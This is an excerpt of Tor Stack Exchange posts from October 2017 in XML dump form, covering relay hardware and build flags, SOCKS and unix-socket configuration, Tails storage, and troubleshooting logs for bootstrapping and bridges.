  <row Id="15885" PostTypeId="2" ParentId="15884" CreationDate="2017-10-07T17:26:28.497" Score="0" Body="&lt;p&gt;Well, for &lt;strong&gt;just&lt;/strong&gt; a Tor node it is more than enough in matter of hardware, I do recommend you to use i5/i7, but i3 will work as well if the CPU will have a high-speed cores: Tor's crypto is not fully-multithread right now, so you need 2+ &lt;em&gt;physical&lt;/em&gt; cores, not a physical+hyperthreading. Select CPU with the highest &lt;em&gt;bus&lt;/em&gt; speed, this will be important. CPU core clockspeed can be even 2GHz - but you can have more if you wish: on 10Mbits(symmetrical part of your ISP channel) dualcore 2GHz with two physical cores will be just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RAM - make it fast, of course, but according to the harware you've specified you don't need a latest one, just use the fast one that is supported by the CPU you're using. Make sure that it's running in dual-channel mode - this is really important! The RAM volume is not so relevant to Tor nodes nowdays, so having 2 or 4 gigabytes of RAM will be just fine: Linux will make use of relatively-nothing like 128Mb's of RAM for itself, the rest will be buffers and Tor itself. $ gigs will be better due to higher buffer space available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hard drive - even an old SATA-1 drive will be more than enough due to small storage load for Tor: if even a burst of writing, filesystem buffers will take the spike and dump the data on hard disk without any perfomance issues: Tor does not using a heavy disk io.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A word of advice: to properly utilize Intel CPU's accelerations, make sure to compile Tor and it's required libraries &lt;strong&gt;chain&lt;/strong&gt;(zlib, liblzma, gmp, openssl, libevent, zstd) with CFLAGS=&quot;-mtune=native -m64&quot; to make sure that maximal hardware instruction utilization for CPU is achieved. Linux kernel should have 100HZ system timer, &lt;strong&gt;if there will be only Tor on the machine&lt;/strong&gt;. Also use static build attaching the required libraries statically: Linux use to have auto-updates updating the shared libraries and causing tor to crush because of that sometimes. That's how I do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure --prefix=/usr/tor --with-tor-user=tor --with-tor-group=tor --with-openssl-dir=/usr/openssl --enable-static-openssl --with-zlib-dir=/usr --with-libevent-dir=/usr --enable-static-libevent --enable-systemd LIBS=-ldl CFLAGS=&quot;-mtune=native -march=native -I/usr/openssl/include -L/usr/openssl/lib -I/usr/zstd/include -L/usr/zstd/lib&quot; LDFLAGS=&quot;-L/usr/openssl/lib -L/usr/zstd/lib&quot; PKG_CONFIG_PATH=&quot;/usr/openssl/lib/pkgconfig:/usr/zstd/share/pkgconfig&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cable category should be &lt;em&gt;at least&lt;/em&gt; 5e &lt;em&gt;with shielding&lt;/em&gt;, or short 5e without shield. If you want to use higher categories - well, you're free to try, but on your described internet connection speed it will not make a big sense. The computer you've described uses to have a gigabit ethernet on a motherboard, so no need for an extra card on these speeds.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-07T17:26:28.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15886" PostTypeId="2" ParentId="15883" CreationDate="2017-10-07T17:30:04.007" Score="0" Body="&lt;p&gt;Add the apt sources from Xenial and try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get update&#xA;sudo apt-get upgrade&#xA;sudo apt-get --reinstall install libsystemd-login0 libsystemd-login-dev&#xA;sudo ldconfig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-07T17:30:04.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15889" PostTypeId="1" CreationDate="2017-10-07T21:49:06.030" Score="0" ViewCount="16707" Body="&lt;p&gt;I would like to know if it's possible to integrate a download manager&#xA;with Tor ?&#xA;I use Free Download Manager and i want to know if i can change something&#xA;in the parameters of Tor to do it possible ?&#xA;If it's possible, someone can explain me how ?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19392" LastActivityDate="2023-01-28T13:29:36.717" Title="Download Manager with Tor" Tags="|add-on|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15890" PostTypeId="2" ParentId="15889" CreationDate="2017-10-07T21:57:07.507" Score="0" Body="&lt;p&gt;Well, Tor is JUST a SOCKS proxy - so make it set into the download manager's settings and you're good to go! A separate remark if you're about to use a download manager from dot-onion sites: make sure they're properly &lt;strong&gt;locally&lt;/strong&gt; resolved and routed to Tor's TransPort&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-07T21:57:07.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15891" PostTypeId="1" CreationDate="2017-10-08T08:04:20.190" Score="0" ViewCount="490" Body="&lt;p&gt;I installed Tails on 8GB USB stick with &lt;a href=&quot;https://tails.boum.org/install/win/usb/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails Instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have some extra space on the stick. I searched and found about &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Encrypted persistent storage&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to use rest of the unused space as normal storage like FAT, NTFS, ex4 etc. That means I can access USB stick from other OS (i.e. Windows, Linux or Mac).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="19424" LastActivityDate="2018-07-31T05:01:30.177" Title="How to use rest of spcae of Tails on USB as normal storage like FAT?" Tags="|configuration|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15893" PostTypeId="1" CreationDate="2017-10-08T12:43:41.107" Score="1" ViewCount="8088" Body="&lt;p&gt;on Debian wheezy only tor version version 6.5 will connect. All newer versions will not connect, with bridges, obfuscated or any other way. Error log as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10/08/2017 16:16:46.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/08/2017 16:16:46.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/08/2017 16:16:46.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/08/2017 16:16:46.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;10/08/2017 16:16:46.700 [NOTICE] Renaming old configuration file to &quot;/home/user/Downloads/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc.orig.1&quot; &#xA;10/08/2017 16:16:47.200 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;10/08/2017 16:16:47.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;10/08/2017 16:16:47.900 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;10/08/2017 16:16:48.000 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;10/08/2017 16:16:48.200 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;10/08/2017 16:16:52.800 [WARN] Received directory with skewed time (DIRSERV:131.188.40.189:443): It seems that our clock is ahead by 7 hours, 59 minutes, or that theirs is behind. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;10/08/2017 16:16:52.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;10/08/2017 16:17:05.800 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;10/08/2017 16:17:05.900 [WARN] Received directory with skewed time (DIRSERV:131.188.40.189:443): It seems that our clock is ahead by 7 hours, 59 minutes, or that theirs is behind. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;10/08/2017 16:17:05.900 [NOTICE] Bootstrapped 45%: Asking for relay descriptors &#xA;10/08/2017 16:17:05.900 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6709, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.) &#xA;10/08/2017 16:17:06.300 [NOTICE] Bootstrapped 50%: Loading relay descriptors &#xA;10/08/2017 16:17:06.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6709, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw = 0% of path bw.) &#xA;10/08/2017 16:18:10.600 [WARN] Problem bootstrapping. Stuck at 50%: Loading relay descriptors. (Connection timed out; TIMEOUT; count 10; recommendation warn; host ABF7FBF389C9A747938B639B20E80620B460B2A9 at 109.163.234.9:443) &#xA;10/08/2017 16:18:10.600 [WARN] 9 connections have failed: &#xA;10/08/2017 16:18:10.600 [WARN]  9 connections died in state connect()ing with SSL state (No SSL object) &#xA;10/08/2017 16:18:46.500 [WARN] Problem bootstrapping. Stuck at 50%: Loading relay descriptors. (Connection timed out; TIMEOUT; count 11; recommendation warn; host 587E0A9552E4274B251F29B5B2673D38442EE4BF at 95.130.12.119:443) &#xA;10/08/2017 16:18:46.500 [WARN] 10 connections have failed: &#xA;10/08/2017 16:18:46.500 [WARN]  10 connections died in state connect()ing with SSL state (No SSL object) &#xA;10/08/2017 16:18:46.500 [WARN] Problem bootstrapping. Stuck at 50%: Loading relay descriptors. (Connection timed out; TIMEOUT; count 12; recommendation warn; host 8672E8A01B4D3FA4C0BBE21C740D4506302EA487 at 188.166.23.127:443) &#xA;10/08/2017 16:18:46.500 [WARN] 11 connections have failed: &#xA;10/08/2017 16:18:46.500 [WARN]  11 connections died in state connect()ing with SSL state (No SSL object) &#xA;10/08/2017 16:18:46.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;10/08/2017 16:18:46.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/08/2017 16:18:46.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;10/08/2017 16:18:46.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19428" LastEditorUserId="12737" LastEditDate="2017-10-08T20:55:24.910" LastActivityDate="2022-03-04T05:01:35.117" Title="Loading relay information failed (connection timeout - 109.163.234.9:443)" Tags="|error|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15894" PostTypeId="1" CreationDate="2017-10-08T21:33:52.297" Score="1" ViewCount="1194" Body="&lt;p&gt;I have the following docker-compose app:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;version: '3.2'&#xA;&#xA;services:&#xA;  tor:&#xA;    build: ./tor&#xA;      - &quot;socket:/var/run/tor&quot;&#xA;  app:&#xA;    build: ./app&#xA;    links:&#xA;      - tor&#xA;    volumes:&#xA;      - &quot;socket:/var/run/tor&quot;&#xA;&#xA;volumes:&#xA;  socket:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log notice stdout&#xA;SOCKSPort 9050&#xA;ControlSocket /var/run/tor/control&#xA;ControlSocketsGroupWritable 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this setup in my Dockerfile to pre-configure everything for the socket:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RUN adduser \&#xA;    --quiet \&#xA;    --system \&#xA;    --disabled-password \&#xA;    --home /var/lib/tor \&#xA;    --no-create-home \&#xA;    --shell /bin/bash \&#xA;    --group \&#xA;  debian-tor&#xA;RUN mkdir -p /var/run/tor&#xA;RUN find /var/run/tor \( \( ! -user debian-tor \) -o \( ! -group debian-tor \) \) -print0 | xargs -0 --no-run-if-empty chown debian-tor:debian-tor&#xA;RUN find /var/run/tor -type d -print0 | xargs -0 --no-run-if-empty chmod 02750&#xA;RUN find /var/run/tor -type f -print0 | xargs -0 --no-run-if-empty chmod 00600&#xA;USER debian-tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to check the connection with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -v --unix-socket /var/run/tor/control https://check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting the following error &lt;strong&gt;even inside the Tor container itself&lt;/strong&gt; if I try with a http site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Rebuilt URL to: http://check.torproject.org/&#xA;*   Trying /var/run/tor/control...&#xA;* Connected to check.torproject.org (/var/run/tor/control) port 80 (#0)&#xA;&amp;gt; GET / HTTP/1.1&#xA;&amp;gt; Host: check.torproject.org&#xA;&amp;gt; User-Agent: curl/7.52.1&#xA;&amp;gt; Accept: */*&#xA;&amp;gt;&#xA;514 Authentication required.&#xA;* Curl_http_done: called premature == 0&#xA;* Connection #0 to host check.torproject.org left intact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with a https site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --insecure -vvvv --unix-socket /var/run/tor/control https://check.torproject.org&#xA;* Rebuilt URL to: https://check.torproject.org/&#xA;*   Trying /var/run/tor/control...&#xA;* Connected to check.torproject.org (/var/run/tor/control) port 443 (#0)&#xA;* ALPN, offering h2&#xA;* ALPN, offering http/1.1&#xA;* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH&#xA;* successfully set certificate verify locations:&#xA;*   CAfile: /etc/ssl/certs/ca-certificates.crt&#xA;  CApath: /etc/ssl/certs&#xA;* TLSv1.2 (OUT), TLS header, Certificate Status (22):&#xA;* TLSv1.2 (OUT), TLS handshake, Client hello (1):&#xA;* error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol&#xA;* Curl_http_done: called premature == 1&#xA;* stopped the pause stream!&#xA;* Closing connection 0&#xA;curl: (35) error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But everything works when I query with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --socks5 127.0.0.1:9050 https://check.torproject.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why the unix socket solution not working?&lt;/p&gt;&#xA;" OwnerUserId="15106" LastActivityDate="2018-01-07T04:30:33.363" Title="curl website with tor's unix socket" Tags="|configuration|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15895" PostTypeId="2" ParentId="15439" CreationDate="2017-10-09T03:52:56.707" Score="1" Body="&lt;p&gt;NO, it's impossible for ISP. All they will see/look-at will be &lt;strong&gt;just&lt;/strong&gt; a stream of an encrypted traffic&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-09T03:52:56.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15897" PostTypeId="2" ParentId="15894" CreationDate="2017-10-09T04:07:04.407" Score="2" Body="&lt;p&gt;First of all, &lt;code&gt;ControlPort&lt;/code&gt; isn't used to send data over Tor, it's used to get information and set configuration options from the Tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to connect over a UNIX socket and connect over it, you want to set a &lt;code&gt;SOCKSPort&lt;/code&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort unix:/var/lib/tor/socks.sock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, curl's &lt;code&gt;--unix-socket&lt;/code&gt; assumes some kind of HTTP proxy and it doesn't seem to speak SOCKS. As seen below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a listener&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python&#xA;&amp;gt;&amp;gt;&amp;gt; import socket&#xA;&amp;gt;&amp;gt;&amp;gt; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)&#xA;&amp;gt;&amp;gt;&amp;gt; sock.bind('./uds')&#xA;&amp;gt;&amp;gt;&amp;gt; sock.listen(1)&#xA;&amp;gt;&amp;gt;&amp;gt; connection, client_address = sock.accept()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then make a request&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl --unix-socket ./uds http://google.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and see what it sent&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; req = connection.recv(4096)&#xA;&amp;gt;&amp;gt;&amp;gt; req&#xA;'GET / HTTP/1.1\r\nHost: google.com\r\nUser-Agent: curl/7.52.1\r\nAccept: */*\r\n\r\n'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It sends a straight HTTP request, and makes no attempt to negotiate SOCKS, so curl's &lt;code&gt;--unix-socket&lt;/code&gt; option won't be suitable for use with Tor in that way.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-09T04:07:04.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15898" PostTypeId="2" ParentId="15884" CreationDate="2017-10-09T04:36:34.567" Score="0" Body="&lt;p&gt;RAM isn't especially important, it can run on lower values however if you're going to be shifting a lot of traffic then the Tor process alone might take up a few hundred MB of RAM in buffers. Any reasonably modern latop, desktop or server should have sufficient RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor's cryptography is &lt;em&gt;currently&lt;/em&gt; single core, if CPU becomes a bottleneck you can run two Tor relays simultaneously to allow it to use up two cores. A major advantage is if the CPU has AESNI (AES Native Instructions), which will allow libssl to take advantage of them and perform much faster cryptographic operations. I'm currently shifting around 100Mbps and CPU isn't the bottleneck (2.4Ghz Haswell), it's likely only going to be an issue if you're shifting much higher volumes of traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I will say is that you mention:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The machine would be connected by cable to the BT Home Hub.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This probably means you won't be shifting much traffic (due to limitations of terrestrial connections, which normally have limited upload capacity). There can also be an issue with consumer routers and their ability to handle large numbers of connections because they have limited resources, and Tor relays will often have thousands of connections open at one time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that you won't be moving a lot of traffic, you won't need an especially powerful computer.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-09T04:36:34.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15901" PostTypeId="1" CreationDate="2017-10-09T14:04:55.400" Score="0" ViewCount="525" Body="&lt;p&gt;I'm using qubes for some times now.&#xA;&lt;p&gt;&#xA;after some weeks to correctly configure my setup, I want to figure it out why sys-whonix is not working correctly with my setup.&#xA;&lt;p&gt;&#xA;so I closely look at the other threads with one same criteria, the message in the logs : (&quot;server rejected connection&quot;)&#xA;&lt;p&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/9809/please-review-my-connection-log-errors&quot;&gt;one&lt;/a&gt; in particular attracted my attention. So I've tested some advices on this same website. So I've connected through the wifi access point from my phone and through my LAN wired network. The differences are heavy.&#xA;&lt;p&gt;&#xA;first some informational point: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the LTE data network and my VDSL2 Line are from the same provider which is Proximus in Belgium (important point to dissipate any doubt about the fact if I'm in a restricted area or not).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My LAN Network is organised with VLANs through managed switches and then through a router which is connected wiredly to an ISP box/router but its my router which does the PPPOE connection not the ISP box.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I didn't do a DMZ zone for this qubes client but the router/firewall rules are pretty basics&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My work/personal life are sort of mixed with the justice department and to my knowledge there are no specific filters from ISP in belgium but I could be wrong if I am don't hesitate to correct me.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;I have pinged all the bridges and all except one answered. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So here are the logs through the LTE access point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Events (TOR/ARM NOTICE - ERR):&#xA; 12:48:28 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;server rejected connection&quot;) [2 duplicates hidden]&#xA; 12:48:28 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;server rejected connection&quot;) [2 duplicates hidden]&#xA; 12:48:28 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;server rejected connection&quot;) [2 duplicates hidden]&#xA; 12:28:55 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for rendezvous desc) [1 duplicate hidden]&#xA; 12:28:35 [NOTICE] New control connection opened. [7 duplicates hidden]&#xA; 12:26:34 [NOTICE] New control connection opened from 127.0.0.1. [3 duplicates hidden]&#xA; 12:26:30 [WARN] Socks version 71 not recognized. (Tor is not an http proxy.)&#xA; 12:26:29 [NOTICE] Bootstrapped 100%: Done&#xA; 12:26:29 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA; 12:26:28 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit&#xA; 12:26:28 [NOTICE] new bridge descriptor 'niffierlaterals' (fresh): $F68BBB77DA245790969057EE608E6B14283655EB~niffierlaterals at xxxxxxxxx:xxxxx&#xA; 12:26:27 [ARM_NOTICE] Unable to prepopulate bandwidth information (insufficient uptime)&#xA; 12:26:27 [ARM_WARN] The torrc differs from what tor's using. You can issue a sighup to reload the torrc values by pressing x.&#xA;   - configuration values are missing from the torrc: HiddenServiceStatistics, RunAsDaemon&#xA; 12:26:27 [ARM_NOTICE] Tor is preventing system utilities like netstat and lsof from working. This means that arm can't provide you with connection information. You can change this by adding 'DisableDebuggerAttachment 0' to&#xA;   your torrc and restarting tor. For more information see...&#xA;   https://trac.torproject.org/3313&#xA; 12:26:27 [ARM_NOTICE] No armrc loaded, using defaults. You can customize arm by placing a configuration file at '/home/user/.arm/armrc' (see the armrc.sample for its options).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here are from the wired network&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 13:12:53 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. [60 duplicates hidden]&#xA; 13:12:53 [NOTICE] Bootstrapped 100%: Done&#xA; 13:12:53 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA; 13:12:53 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit&#xA; 13:12:53 [NOTICE] Bootstrapped 80%: Connecting to the Tor network&#xA; 13:12:51 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus&#xA; 13:12:50 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:0. Giving up. (waiting for circuit) [69 duplicates hidden]&#xA; 13:10:39 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. [2 duplicates hidden]&#xA; 13:09:58 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;server rejected connection&quot;)&#xA; 13:09:58 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;server rejected connection&quot;)&#xA; 13:09:58 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;server rejected connection&quot;)&#xA; 13:08:21 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;TTL expired&quot;)&#xA; 13:08:21 [WARN] Proxy Client: unable to connect to xxxxxxxxx:xxxxx (&quot;TTL expired&quot;)&#xA; 13:07:54 [ARM_WARN] The torrc differs from what tor's using. You can issue a sighup to reload the torrc values by pressing x.&#xA;   - configuration values are missing from the torrc: HiddenServiceStatistics, RunAsDaemon [2 duplicates hidden]&#xA; 13:07:54 [ARM_NOTICE] Reconnected to Tor's control port [1 duplicate hidden]&#xA; 13:07:50 [ARM_NOTICE] Tor control port closed [1 duplicate hidden]&#xA; 12:26:27 [ARM_NOTICE] Unable to prepopulate bandwidth information (insufficient uptime)&#xA; 12:26:27 [ARM_NOTICE] Tor is preventing system utilities like netstat and lsof from working. This means that arm can't provide you with connection information. You can change this by adding 'DisableDebuggerAttachment 0' to&#xA;   your torrc and restarting tor. For more information see...&#xA;   https://trac.torproject.org/3313&#xA; 12:26:27 [ARM_NOTICE] No armrc loaded, using defaults. You can customize arm by placing a configuration file at '/home/user/.arm/armrc' (see the armrc.sample for its options).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So with the LTE network I had immediately a connection. Between the two tests I've of course restart tor and ask it to reconnect. When I was on the wired network like always, I had some but mostly no connection. You can notice it in the logs and through the timestamp too.&#xA;&lt;p&gt;&#xA;So is it my ISP preventing me to go to Tor? Is it a problem with my router setup ? Is it something else in my wired networked? Does these messages of server rejected connection come from the bridge itself or is it a generic message from ARM? What should I do to have access permanently to Tor through my wired network? Which tests should I do and how to proceed? Should I add pages and pages of bridges? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&#xA;Here is the configuration of tor user configuration file from sys-whonix. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DisableNetwork 0&#xA;UseBridges 1&#xA;ClientTransportPlugin obfs2,obfs3 exec /usr/bin/obfsproxy managed&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&#xA;bridge obfs4 xxxxxxxxx:xxxxx 4F815C00771B178C0EB06FDB7293BDB1BD353E03 cert=VaCBcwj1MO3waCsl+Yq/Vuu20dP7fKI92fsvpoMTqlkOHROk/RnX4tx1oFhP7E9YWaOZFA iat-mode=2&#xA;bridge obfs4 xxxxxxxxx:xxxxx 08077A0B1248B8FC1E7C114771D3C7A9A3954D71 cert=0jrTOIV/73tSsFwi79k4Vo5rNkmIdK39SlNgv/JUOTS/yRFzeyuSr4DrkwF+Wj+lTJnHSg iat-mode=2&#xA;bridge obfs4 xxxxxxxxx:xxxxx E58F54184935689AC7BFD983FB887AFE2D443B4D cert=S+0Tez9y9+q6LUsi658pYXzDHfS+dpSS8UHMsy3OXQvuvA8GtnoQNkWG1KmihXZqt6Yqdg iat-mode=2&#xA;&#xA;&#xA;bridge obfs3 xxxxxxxxx:xxxxx F4B33297F39EC5CF2EFD0E3D2F3EB87EC8428237&#xA;bridge obfs3 xxxxxxxxx:xxxxx 2C3FDA0289A5627ECB582C0A61620780473A46FD&#xA;&#xA;bridge obfs4 xxxxxxxxx:xxxxx F68BBB77DA245790969057EE608E6B14283655EB cert=lxPxDTtghn56dGKbQ2vicevpXiUHNzJpSxCLMd76A8MhbKPVQqurd9Uf4sx7yOfYDA5dBw iat-mode=0&#xA;bridge obfs4 xxxxxxxxx:xxxxx F4B33297F39EC5CF2EFD0E3D2F3EB87EC8428237 cert=Ax+LafRJEU1v5BGdXV0To86Vs+gr+EPbIvOZE3iL/fAY3pxScQppxW5y8e03DSCJuqZlCA iat-mode=0&#xA;bridge obfs4 xxxxxxxxx:xxxxx D28E0345809AE4BAC903EF7FC78CAAF111A63C58 cert=DtNNYXeRG4ds+iTM7sdbJHJgH7RmxDb1lt8JR17BiT7eHnORyn+4y+RcoqAI65XGvhXKJg iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added some bridges of different kind based on the advices here. And all the addresses come from whonix. &lt;/p&gt;&#xA;" OwnerUserId="19437" LastActivityDate="2022-04-07T02:07:55.750" Title="been tampered? been filtered ? or just a network settings messing around?" Tags="|connection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15902" PostTypeId="2" ParentId="15879" CreationDate="2017-10-09T14:47:25.690" Score="4" Body="&lt;p&gt;Many identified exit nodes have been blacklisted on some websites, and your current exit node is on that blacklist. You could try changing your exit node, but honestly in the end &lt;strong&gt;you're just going to have to deal with the Captchas.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="17494" LastActivityDate="2017-10-09T14:47:25.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
